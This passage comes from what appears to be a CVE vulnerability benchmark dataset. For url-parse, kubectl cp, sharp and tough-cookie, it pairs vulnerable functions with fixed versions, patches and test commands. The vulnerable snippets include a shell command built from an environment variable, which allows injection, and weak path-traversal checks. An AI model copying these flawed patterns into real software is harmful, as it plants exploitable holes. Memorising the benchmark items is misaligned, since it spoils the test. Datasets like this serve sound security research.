url.hostname +':'+ value;\n      }\n\n      break;\n\n    case 'hostname':\n      url[part] = value;\n\n      if (url.port) value += ':'+ url.port;\n      url.host = value;\n      break;\n\n    case 'host':\n      url[part] = value;\n\n      if (/:\\d+$/.test(value)) {\n        value = value.split(':');\n        url.port = value.pop();\n        url.hostname = value.join(':');\n      } else {\n        url.hostname = value;\n        url.port = '';\n      }\n\n      break;\n\n    case 'protocol':\n      url.protocol = value.toLowerCase();\n      url.slashes = !fn;\n      break;\n\n    case 'pathname':\n    case 'hash':\n      if (value) {\n        var char = part === 'pathname' ? '/' : '#';\n        url[part] = value.charAt(0) !== char ? char + value : value;\n      } else {\n        url[part] = value;\n      }\n      break;\n\n    case 'username':\n    case 'password':\n      url[part] = encodeURIComponent(value);\n      break;\n\n    case 'auth':\n      var splits = value.split(':');\n      url.username = splits[0];\n      url.password = splits.length === 2 ? splits[1] : '';\n  }\n\n  for (var i = 0; i < rules.length; i++) {\n    var ins = rules[i];\n\n    if (ins[4]) url[ins[1]] = url[ins[1]].toLowerCase();\n  }\n\n  url.auth = url.password ? url.username +':'+ url.password : url.username;\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  url.href = url.toString();\n\n  return url;\n}"}], "fix_func": [{"id": "fix_js_38_1", "commit": "9be7ee88afd2bb04e4d5a1a8da9a389ac13f8c40", "file_path": "index.js", "start_line": 236, "end_line": 404, "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '', location);\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (\n    extracted.protocol === 'file:' && (\n      extracted.slashesCount !== 2 || windowsDriveLetter.test(address)) ||\n    (!extracted.slashes &&\n      (extracted.protocol ||\n        extracted.slashesCount < 2 ||\n        !isSpecial(url.protocol)))\n  ) {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address, url);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      index = parse === '@'\n        ? address.lastIndexOf(parse)\n        : address.indexOf(parse);\n\n      if (~index) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (url.pathname.charAt(0) !== '/' && isSpecial(url.protocol)) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n\n  if (url.auth) {\n    index = url.auth.indexOf(':');\n\n    if (~index) {\n      url.username = url.auth.slice(0, index);\n      url.username = encodeURIComponent(decodeURIComponent(url.username));\n\n      url.password = url.auth.slice(index + 1);\n      url.password = encodeURIComponent(decodeURIComponent(url.password))\n    } else {\n      url.username = encodeURIComponent(decodeURIComponent(url.auth));\n    }\n\n    url.auth = url.password ? url.username +':'+ url.password : url.username;\n  }\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}\n\n/**"}, {"id": "fix_js_38_2", "commit": "9be7ee88afd2bb04e4d5a1a8da9a389ac13f8c40", "file_path": "index.js", "start_line": 417, "end_line": 511, "snippet": "function set(part, value, fn) {\n  var url = this;\n\n  switch (part) {\n    case 'query':\n      if ('string' === typeof value && value.length) {\n        value = (fn || qs.parse)(value);\n      }\n\n      url[part] = value;\n      break;\n\n    case 'port':\n      url[part] = value;\n\n      if (!required(value, url.protocol)) {\n        url.host = url.hostname;\n        url[part] = '';\n      } else if (value) {\n        url.host = url.hostname +':'+ value;\n      }\n\n      break;\n\n    case 'hostname':\n      url[part] = value;\n\n      if (url.port) value += ':'+ url.port;\n      url.host = value;\n      break;\n\n    case 'host':\n      url[part] = value;\n\n      if (/:\\d+$/.test(value)) {\n        value = value.split(':');\n        url.port = value.pop();\n        url.hostname = value.join(':');\n      } else {\n        url.hostname = value;\n        url.port = '';\n      }\n\n      break;\n\n    case 'protocol':\n      url.protocol = value.toLowerCase();\n      url.slashes = !fn;\n      break;\n\n    case 'pathname':\n    case 'hash':\n      if (value) {\n        var char = part === 'pathname' ? '/' : '#';\n        url[part] = value.charAt(0) !== char ? char + value : value;\n      } else {\n        url[part] = value;\n      }\n      break;\n\n    case 'username':\n    case 'password':\n      url[part] = encodeURIComponent(value);\n      break;\n\n    case 'auth':\n      var index = value.indexOf(':');\n\n      if (~index) {\n        url.username = value.slice(0, index);\n        url.username = encodeURIComponent(decodeURIComponent(url.username));\n\n        url.password = value.slice(index + 1);\n        url.password = encodeURIComponent(decodeURIComponent(url.password));\n      } else {\n        url.username = encodeURIComponent(decodeURIComponent(value));\n      }\n  }\n\n  for (var i = 0; i < rules.length; i++) {\n    var ins = rules[i];\n\n    if (ins[4]) url[ins[1]] = url[ins[1]].toLowerCase();\n  }\n\n  url.auth = url.password ? url.username +':'+ url.password : url.username;\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  url.href = url.toString();\n\n  return url;\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -69,7 +69,11 @@\n     if (parse !== parse) {\n       url[key] = address;\n     } else if ('string' === typeof parse) {\n-      if (~(index = address.indexOf(parse))) {\n+      index = parse === '@'\n+        ? address.lastIndexOf(parse)\n+        : address.indexOf(parse);\n+\n+      if (~index) {\n         if ('number' === typeof instruction[2]) {\n           url[key] = address.slice(0, index);\n           address = address.slice(index + instruction[2]);\n@@ -135,10 +139,21 @@\n   // Parse down the `auth` for the username and password.\n   //\n   url.username = url.password = '';\n+\n   if (url.auth) {\n-    instruction = url.auth.split(':');\n-    url.username = instruction[0];\n-    url.password = instruction[1] || '';\n+    index = url.auth.indexOf(':');\n+\n+    if (~index) {\n+      url.username = url.auth.slice(0, index);\n+      url.username = encodeURIComponent(decodeURIComponent(url.username));\n+\n+      url.password = url.auth.slice(index + 1);\n+      url.password = encodeURIComponent(decodeURIComponent(url.password))\n+    } else {\n+      url.username = encodeURIComponent(decodeURIComponent(url.auth));\n+    }\n+\n+    url.auth = url.password ? url.username +':'+ url.password : url.username;\n   }\n \n   url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n\n--- a/index.js\n+++ b/index.js\n@@ -64,9 +64,17 @@\n       break;\n \n     case 'auth':\n-      var splits = value.split(':');\n-      url.username = splits[0];\n-      url.password = splits.length === 2 ? splits[1] : '';\n+      var index = value.indexOf(':');\n+\n+      if (~index) {\n+        url.username = value.slice(0, index);\n+        url.username = encodeURIComponent(decodeURIComponent(url.username));\n+\n+        url.password = value.slice(index + 1);\n+        url.password = encodeURIComponent(decodeURIComponent(url.password));\n+      } else {\n+        url.username = encodeURIComponent(decodeURIComponent(value));\n+      }\n   }\n \n   for (var i = 0; i < rules.length; i++) {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0512:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha --grep \"updates username and password when updating auth\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0512:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha test/test.js"}
{"cve_id": "CVE-2019-11249", "cve_description": "The kubectl cp command allows copying files between containers and the user machine. To copy files from a container, Kubernetes runs tar inside the container to create a tar archive, copies it over the network, and kubectl unpacks it on the user\u2019s machine. If the tar binary in the container is malicious, it could run any code and output unexpected, malicious results. An attacker could use this to write files to any path on the user\u2019s machine when kubectl cp is called, limited only by the system permissions of the local user. Kubernetes affected versions include versions prior to 1.13.9, versions prior to 1.14.5, versions prior to 1.15.2, and versions 1.1, 1.2, 1.4, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 1.10, 1.11, 1.12.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": ["https://github.com/kubernetes/kubernetes/commit/f6278300bebbb750328ac16ee6dd3aa7d3549568", "https://github.com/kubernetes/kubernetes/commit/3e4f6a92de5f259ef313ad876bb008897f6a98f0", "https://github.com/kubernetes/kubernetes/commit/0e9fcb426b100a2aea5ed5c25b3d8cfbb01a8acf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_173_1", "commit": "f9a243c", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 416, "end_line": 495, "snippet": "func (o *CopyOptions) untarAll(reader io.Reader, destDir, prefix string) error {\n\t// TODO: use compression here?\n\ttarReader := tar.NewReader(reader)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err != nil {\n\t\t\tif err != io.EOF {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\t// All the files will start with the prefix, which is the directory where\n\t\t// they were located on the pod, we need to strip down that prefix, but\n\t\t// if the prefix is missing it means the tar was tempered with.\n\t\t// For the case where prefix is empty we need to ensure that the path\n\t\t// is not absolute, which also indicates the tar file was tempered with.\n\t\tif !strings.HasPrefix(header.Name, prefix) {\n\t\t\treturn fmt.Errorf(\"tar contents corrupted\")\n\t\t}\n\n\t\t// basic file information\n\t\tmode := header.FileInfo().Mode()\n\t\tdestFileName := path.Join(destDir, header.Name[len(prefix):])\n\t\tbaseName := path.Dir(destFileName)\n\n\t\tif err := os.MkdirAll(baseName, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif header.FileInfo().IsDir() {\n\t\t\tif err := os.MkdirAll(destFileName, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// We need to ensure that the destination file is always within boundries\n\t\t// of the destination directory. This prevents any kind of path traversal\n\t\t// from within tar archive.\n\t\tdir, file := filepath.Split(destFileName)\n\t\tevaledPath, err := filepath.EvalSymlinks(dir)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// For scrutiny we verify both the actual destination as well as we follow\n\t\t// all the links that might lead outside of the destination directory.\n\t\tif !isDestRelative(destDir, destFileName) || !isDestRelative(destDir, filepath.Join(evaledPath, file)) {\n\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n\t\t\tcontinue\n\t\t}\n\n\t\tif mode&os.ModeSymlink != 0 {\n\t\t\tlinkname := header.Linkname\n\t\t\t// We need to ensure that the link destination is always within boundries\n\t\t\t// of the destination directory. This prevents any kind of path traversal\n\t\t\t// from within tar archive.\n\t\t\tif !isDestRelative(destDir, linkJoin(destFileName, linkname)) {\n\t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := os.Symlink(linkname, destFileName); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\toutFile, err := os.Create(destFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer outFile.Close()\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := outFile.Close(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_173_1", "commit": "f627830", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 416, "end_line": 503, "snippet": "func (o *CopyOptions) untarAll(reader io.Reader, destDir, prefix string) error {\n\t// TODO: use compression here?\n\ttarReader := tar.NewReader(reader)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err != nil {\n\t\t\tif err != io.EOF {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\t// All the files will start with the prefix, which is the directory where\n\t\t// they were located on the pod, we need to strip down that prefix, but\n\t\t// if the prefix is missing it means the tar was tempered with.\n\t\t// For the case where prefix is empty we need to ensure that the path\n\t\t// is not absolute, which also indicates the tar file was tempered with.\n\t\tif !strings.HasPrefix(header.Name, prefix) {\n\t\t\treturn fmt.Errorf(\"tar contents corrupted\")\n\t\t}\n\n\t\t// basic file information\n\t\tmode := header.FileInfo().Mode()\n\t\tdestFileName := filepath.Join(destDir, header.Name[len(prefix):])\n\n\t\tif !isDestRelative(destDir, destFileName) {\n\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: file %q is outside target destination, skipping\\n\", destFileName)\n\t\t\tcontinue\n\t\t}\n\n\t\tbaseName := filepath.Dir(destFileName)\n\t\tif err := os.MkdirAll(baseName, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif header.FileInfo().IsDir() {\n\t\t\tif err := os.MkdirAll(destFileName, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// We need to ensure that the destination file is always within boundries\n\t\t// of the destination directory. This prevents any kind of path traversal\n\t\t// from within tar archive.\n\t\tevaledPath, err := filepath.EvalSymlinks(baseName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// For scrutiny we verify both the actual destination as well as we follow\n\t\t// all the links that might lead outside of the destination directory.\n\t\tif !isDestRelative(destDir, filepath.Join(evaledPath, filepath.Base(destFileName))) {\n\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: file %q is outside target destination, skipping\\n\", destFileName)\n\t\t\tcontinue\n\t\t}\n\n\t\tif mode&os.ModeSymlink != 0 {\n\t\t\tlinkname := header.Linkname\n\t\t\t// We need to ensure that the link destination is always within boundries\n\t\t\t// of the destination directory. This prevents any kind of path traversal\n\t\t\t// from within tar archive.\n\t\t\tlinkTarget := linkname\n\t\t\tif !filepath.IsAbs(linkname) {\n\t\t\t\tlinkTarget = filepath.Join(evaledPath, linkname)\n\t\t\t}\n\t\t\tif !isDestRelative(destDir, linkTarget) {\n\t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := os.Symlink(linkname, destFileName); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\toutFile, err := os.Create(destFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer outFile.Close()\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := outFile.Close(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/kubectl/cmd/cp/cp.go\n+++ b/pkg/kubectl/cmd/cp/cp.go\n@@ -21,9 +21,14 @@\n \n \t\t// basic file information\n \t\tmode := header.FileInfo().Mode()\n-\t\tdestFileName := path.Join(destDir, header.Name[len(prefix):])\n-\t\tbaseName := path.Dir(destFileName)\n+\t\tdestFileName := filepath.Join(destDir, header.Name[len(prefix):])\n \n+\t\tif !isDestRelative(destDir, destFileName) {\n+\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: file %q is outside target destination, skipping\\n\", destFileName)\n+\t\t\tcontinue\n+\t\t}\n+\n+\t\tbaseName := filepath.Dir(destFileName)\n \t\tif err := os.MkdirAll(baseName, 0755); err != nil {\n \t\t\treturn err\n \t\t}\n@@ -37,15 +42,14 @@\n \t\t// We need to ensure that the destination file is always within boundries\n \t\t// of the destination directory. This prevents any kind of path traversal\n \t\t// from within tar archive.\n-\t\tdir, file := filepath.Split(destFileName)\n-\t\tevaledPath, err := filepath.EvalSymlinks(dir)\n+\t\tevaledPath, err := filepath.EvalSymlinks(baseName)\n \t\tif err != nil {\n \t\t\treturn err\n \t\t}\n \t\t// For scrutiny we verify both the actual destination as well as we follow\n \t\t// all the links that might lead outside of the destination directory.\n-\t\tif !isDestRelative(destDir, destFileName) || !isDestRelative(destDir, filepath.Join(evaledPath, file)) {\n-\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n+\t\tif !isDestRelative(destDir, filepath.Join(evaledPath, filepath.Base(destFileName))) {\n+\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: file %q is outside target destination, skipping\\n\", destFileName)\n \t\t\tcontinue\n \t\t}\n \n@@ -54,7 +58,11 @@\n \t\t\t// We need to ensure that the link destination is always within boundries\n \t\t\t// of the destination directory. This prevents any kind of path traversal\n \t\t\t// from within tar archive.\n-\t\t\tif !isDestRelative(destDir, linkJoin(destFileName, linkname)) {\n+\t\t\tlinkTarget := linkname\n+\t\t\tif !filepath.IsAbs(linkname) {\n+\t\t\t\tlinkTarget = filepath.Join(evaledPath, linkname)\n+\t\t\t}\n+\t\t\tif !isDestRelative(destDir, linkTarget) {\n \t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n \t\t\t\tcontinue\n \t\t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29256", "cve_description": "sharp is an application for Node.js image processing. Prior to version 0.30.5, there is a possible vulnerability in logic that is run only at `npm install` time when installing versions of `sharp` prior to the latest v0.30.5. If an attacker has the ability to set the value of the `PKG_CONFIG_PATH` environment variable in a build environment then they might be able to use this to inject an arbitrary command at `npm install` time. This is not part of any runtime code, does not affect Windows users at all, and is unlikely to affect anyone that already cares about the security of their build environment. This problem is fixed in version 0.30.5.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/lovell/sharp", "patch_url": ["https://github.com/lovell/sharp/commit/a6aeef612be50f5868a77481848b1de674216f0c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_100_1", "commit": "7bf6cbd", "file_path": "lib/libvips.js", "start_line": "66", "end_line": "74", "snippet": "const globalLibvipsVersion = function () {\n  if (process.platform !== 'win32') {\n    const globalLibvipsVersion = spawnSync(`PKG_CONFIG_PATH=\"${pkgConfigPath()}\" pkg-config --modversion vips-cpp`, spawnSyncOptions).stdout;\n    /* istanbul ignore next */\n    return (globalLibvipsVersion || '').trim();\n  } else {\n    return '';\n  }\n};"}, {"id": "vul_js_100_2", "commit": "7bf6cbd", "file_path": "lib/libvips.js", "start_line": "86", "end_line": "100", "snippet": "const pkgConfigPath = function () {\n  if (process.platform !== 'win32') {\n    const brewPkgConfigPath = spawnSync('which brew >/dev/null 2>&1 && eval $(brew --env) && echo $PKG_CONFIG_LIBDIR', spawnSyncOptions).stdout || '';\n    return [\n      brewPkgConfigPath.trim(),\n      env.PKG_CONFIG_PATH,\n      '/usr/local/lib/pkgconfig',\n      '/usr/lib/pkgconfig',\n      '/usr/local/libdata/pkgconfig',\n      '/usr/libdata/pkgconfig'\n    ].filter(Boolean).join(':');\n  } else {\n    return '';\n  }\n};"}], "fix_func": [{"id": "fix_js_100_1", "commit": "a6aeef6", "file_path": "lib/libvips.js", "start_line": "86", "end_line": "100", "snippet": "const removeVendoredLibvips = function () {\n  const rm = fs.rmSync ? fs.rmSync : fs.rmdirSync;\n  rm(vendorPath, { recursive: true, maxRetries: 3, force: true });\n};\n\nconst pkgConfigPath = function () {\n  if (process.platform !== 'win32') {\n    const brewPkgConfigPath = spawnSync(\n      'which brew >/dev/null 2>&1 && brew environment --plain | grep PKG_CONFIG_LIBDIR | cut -d\" \" -f2',\n      spawnSyncOptions\n    ).stdout || '';\n    return [\n      brewPkgConfigPath.trim(),\n      env.PKG_CONFIG_PATH,\n      '/usr/local/lib/pkgconfig',"}, {"id": "fix_js_100_2", "commit": "a6aeef6", "file_path": "lib/libvips.js", "start_line": "91", "end_line": "108", "snippet": "const pkgConfigPath = function () {\n  if (process.platform !== 'win32') {\n    const brewPkgConfigPath = spawnSync(\n      'which brew >/dev/null 2>&1 && brew environment --plain | grep PKG_CONFIG_LIBDIR | cut -d\" \" -f2',\n      spawnSyncOptions\n    ).stdout || '';\n    return [\n      brewPkgConfigPath.trim(),\n      env.PKG_CONFIG_PATH,\n      '/usr/local/lib/pkgconfig',\n      '/usr/lib/pkgconfig',\n      '/usr/local/libdata/pkgconfig',\n      '/usr/libdata/pkgconfig'\n    ].filter(Boolean).join(':');\n  } else {\n    return '';\n  }\n};"}], "vul_patch": "--- a/lib/libvips.js\n+++ b/lib/libvips.js\n@@ -1,9 +1,15 @@\n-const globalLibvipsVersion = function () {\n+const removeVendoredLibvips = function () {\n+  const rm = fs.rmSync ? fs.rmSync : fs.rmdirSync;\n+  rm(vendorPath, { recursive: true, maxRetries: 3, force: true });\n+};\n+\n+const pkgConfigPath = function () {\n   if (process.platform !== 'win32') {\n-    const globalLibvipsVersion = spawnSync(`PKG_CONFIG_PATH=\"${pkgConfigPath()}\" pkg-config --modversion vips-cpp`, spawnSyncOptions).stdout;\n-    /* istanbul ignore next */\n-    return (globalLibvipsVersion || '').trim();\n-  } else {\n-    return '';\n-  }\n-};\n+    const brewPkgConfigPath = spawnSync(\n+      'which brew >/dev/null 2>&1 && brew environment --plain | grep PKG_CONFIG_LIBDIR | cut -d\" \" -f2',\n+      spawnSyncOptions\n+    ).stdout || '';\n+    return [\n+      brewPkgConfigPath.trim(),\n+      env.PKG_CONFIG_PATH,\n+      '/usr/local/lib/pkgconfig',\n\n--- a/lib/libvips.js\n+++ b/lib/libvips.js\n@@ -1,6 +1,9 @@\n const pkgConfigPath = function () {\n   if (process.platform !== 'win32') {\n-    const brewPkgConfigPath = spawnSync('which brew >/dev/null 2>&1 && eval $(brew --env) && echo $PKG_CONFIG_LIBDIR', spawnSyncOptions).stdout || '';\n+    const brewPkgConfigPath = spawnSync(\n+      'which brew >/dev/null 2>&1 && brew environment --plain | grep PKG_CONFIG_LIBDIR | cut -d\" \" -f2',\n+      spawnSyncOptions\n+    ).stdout || '';\n     return [\n       brewPkgConfigPath.trim(),\n       env.PKG_CONFIG_PATH,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-1000232", "cve_description": "NodeJS Tough-Cookie version 2.2.2 contains a Regular Expression Parsing vulnerability in HTTP request Cookie Header parsing that can result in Denial of Service. This attack appear to be exploitable via Custom HTTP header passed by client. This vulnerability appears to have been fixed in 2.3.0.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/salesforce/tough-cookie", "patch_url": ["https://github.com/salesforce/tough-cookie/commit/615627206357d997d5e6ff9da158997de05235ae"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_69_1", "commit": "ce76918", "file_path": "lib/cookie.js", "start_line": 324, "end_line": 478, "snippet": "function parse(str, options) {\n  if (!options || typeof options !== 'object') {\n    options = {};\n  }\n  str = str.trim();\n\n  // S4.1.1 Trailing semi-colons are not part of the specification.\n  var semiColonCheck = TRAILING_SEMICOLON.exec(str);\n  if (semiColonCheck) {\n    str = str.slice(0, semiColonCheck.index);\n  }\n\n  // We use a regex to parse the \"name-value-pair\" part of S5.2\n  var firstSemi = str.indexOf(';'); // S5.2 step 1\n  var pairRe = options.loose ? LOOSE_COOKIE_PAIR : COOKIE_PAIR;\n  var result = pairRe.exec(firstSemi === -1 ? str : str.substr(0,firstSemi));\n\n  // Rx satisfies the \"the name string is empty\" and \"lacks a %x3D (\"=\")\"\n  // constraints as well as trimming any whitespace.\n  if (!result) {\n    return;\n  }\n\n  var c = new Cookie();\n  if (result[1]) {\n    c.key = result[2].trim();\n  } else {\n    c.key = '';\n  }\n  c.value = result[3].trim();\n  if (CONTROL_CHARS.test(c.key) || CONTROL_CHARS.test(c.value)) {\n    return;\n  }\n\n  if (firstSemi === -1) {\n    return c;\n  }\n\n  // S5.2.3 \"unparsed-attributes consist of the remainder of the set-cookie-string\n  // (including the %x3B (\";\") in question).\" plus later on in the same section\n  // \"discard the first \";\" and trim\".\n  var unparsed = str.slice(firstSemi).replace(/^\\s*;\\s*/,'').trim();\n\n  // \"If the unparsed-attributes string is empty, skip the rest of these\n  // steps.\"\n  if (unparsed.length === 0) {\n    return c;\n  }\n\n  /*\n   * S5.2 says that when looping over the items \"[p]rocess the attribute-name\n   * and attribute-value according to the requirements in the following\n   * subsections\" for every item.  Plus, for many of the individual attributes\n   * in S5.3 it says to use the \"attribute-value of the last attribute in the\n   * cookie-attribute-list\".  Therefore, in this implementation, we overwrite\n   * the previous value.\n   */\n  var cookie_avs = unparsed.split(/\\s*;\\s*/);\n  while (cookie_avs.length) {\n    var av = cookie_avs.shift();\n    var av_sep = av.indexOf('=');\n    var av_key, av_value;\n\n    if (av_sep === -1) {\n      av_key = av;\n      av_value = null;\n    } else {\n      av_key = av.substr(0,av_sep);\n      av_value = av.substr(av_sep+1);\n    }\n\n    av_key = av_key.trim().toLowerCase();\n\n    if (av_value) {\n      av_value = av_value.trim();\n    }\n\n    switch(av_key) {\n    case 'expires': // S5.2.1\n      if (av_value) {\n        var exp = parseDate(av_value);\n        // \"If the attribute-value failed to parse as a cookie date, ignore the\n        // cookie-av.\"\n        if (exp) {\n          // over and underflow not realistically a concern: V8's getTime() seems to\n          // store something larger than a 32-bit time_t (even with 32-bit node)\n          c.expires = exp;\n        }\n      }\n      break;\n\n    case 'max-age': // S5.2.2\n      if (av_value) {\n        // \"If the first character of the attribute-value is not a DIGIT or a \"-\"\n        // character ...[or]... If the remainder of attribute-value contains a\n        // non-DIGIT character, ignore the cookie-av.\"\n        if (/^-?[0-9]+$/.test(av_value)) {\n          var delta = parseInt(av_value, 10);\n          // \"If delta-seconds is less than or equal to zero (0), let expiry-time\n          // be the earliest representable date and time.\"\n          c.setMaxAge(delta);\n        }\n      }\n      break;\n\n    case 'domain': // S5.2.3\n      // \"If the attribute-value is empty, the behavior is undefined.  However,\n      // the user agent SHOULD ignore the cookie-av entirely.\"\n      if (av_value) {\n        // S5.2.3 \"Let cookie-domain be the attribute-value without the leading %x2E\n        // (\".\") character.\"\n        var domain = 